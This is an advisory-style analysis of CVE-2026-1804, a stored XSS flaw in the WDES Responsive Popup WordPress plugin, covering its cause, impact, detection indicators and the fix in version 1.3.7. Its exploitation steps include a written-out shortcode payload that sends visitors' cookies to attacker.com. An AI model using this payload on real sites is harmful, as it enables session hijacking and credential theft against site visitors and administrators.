CVE-2026-1804: 
WordPress vulnerability analysis and mitigation

CVE-2026-1804 is a Stored Cross-Site Scripting (XSS) vulnerability in the WDES Responsive Popup plugin for WordPress. It affects all versions up to and including 1.3.6, stemming from insufficient input sanitization and output escaping on user-supplied attributes in the wdes-popup-title shortcode. The vulnerability was published on February 11, 2026, with a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The vulnerability exists because the plugin's wdes-popup-title shortcode does not properly sanitize or escape user-supplied attributes before rendering them in HTML output. An authenticated attacker with at minimum contributor-level access can embed malicious JavaScript within shortcode attributes in a post or page; the script then executes in the browsers of any user who visits the affected page (Red Hat CVE, Wordfence).

Successful exploitation allows an authenticated contributor (or higher-privileged user) to persistently inject arbitrary JavaScript into WordPress pages, which executes in the context of every visitor's browser session. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further attacks against site administrators — potentially enabling privilege escalation to full site compromise. Confidentiality and integrity are both impacted at a low level per the CVSS scoring, with no direct availability impact (Red Hat CVE).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Gain Contributor Access: Register or compromise a WordPress account with at least contributor-level privileges on the target site running WDES Responsive Popup ≤ 1.3.6.
2. Create or Edit a Post/Page: Navigate to the WordPress editor and create or edit a post or page where shortcodes are rendered.
3. Inject Malicious Shortcode: Insert a crafted wdes-popup-title shortcode with a malicious JavaScript payload in an attribute, for example: [wdes-popup-title title="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Content: Submit or update the post/page so the injected shortcode is saved to the database.
5. Trigger Execution: When any user (including administrators) visits the page containing the injected shortcode, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Red Hat CVE, Wordfence).

• Logs: WordPress database or audit logs showing unusual shortcode content containing <script>, javascript:, onerror=, or similar XSS patterns within wdes-popup-title shortcode attributes.
• File System: No direct file-system artifacts expected for stored XSS; however, review the wp_posts database table for posts containing suspicious shortcode payloads.
• Network: Outbound requests from victim browsers to unexpected external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from pages hosting the WDES Responsive Popup plugin.
• Browser/Application: Unexpected JavaScript execution, redirects, or pop-ups on pages using the wdes-popup-title shortcode; browser console errors referencing injected script content.

The vendor released version 1.3.7 of the WDES Responsive Popup plugin, which addresses the insufficient sanitization and output escaping. Site administrators should update the plugin to version 1.3.7 or later immediately via the WordPress plugin dashboard. As a temporary workaround, restrict contributor-level user permissions or disable the plugin until the update can be applied. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide an additional layer of defense (Wordfence).

Wordfence included this vulnerability in their weekly WordPress vulnerability report for February 9–15, 2026, noting the patch availability in version 1.3.7 (Wordfence). Spanish national cybersecurity agencies INCIBE-CERT and CCN-CERT also published early-warning advisories shortly after disclosure (INCIBE-CERT, CCN-CERT). No significant broader media coverage or notable researcher commentary beyond standard vulnerability tracking has been observed.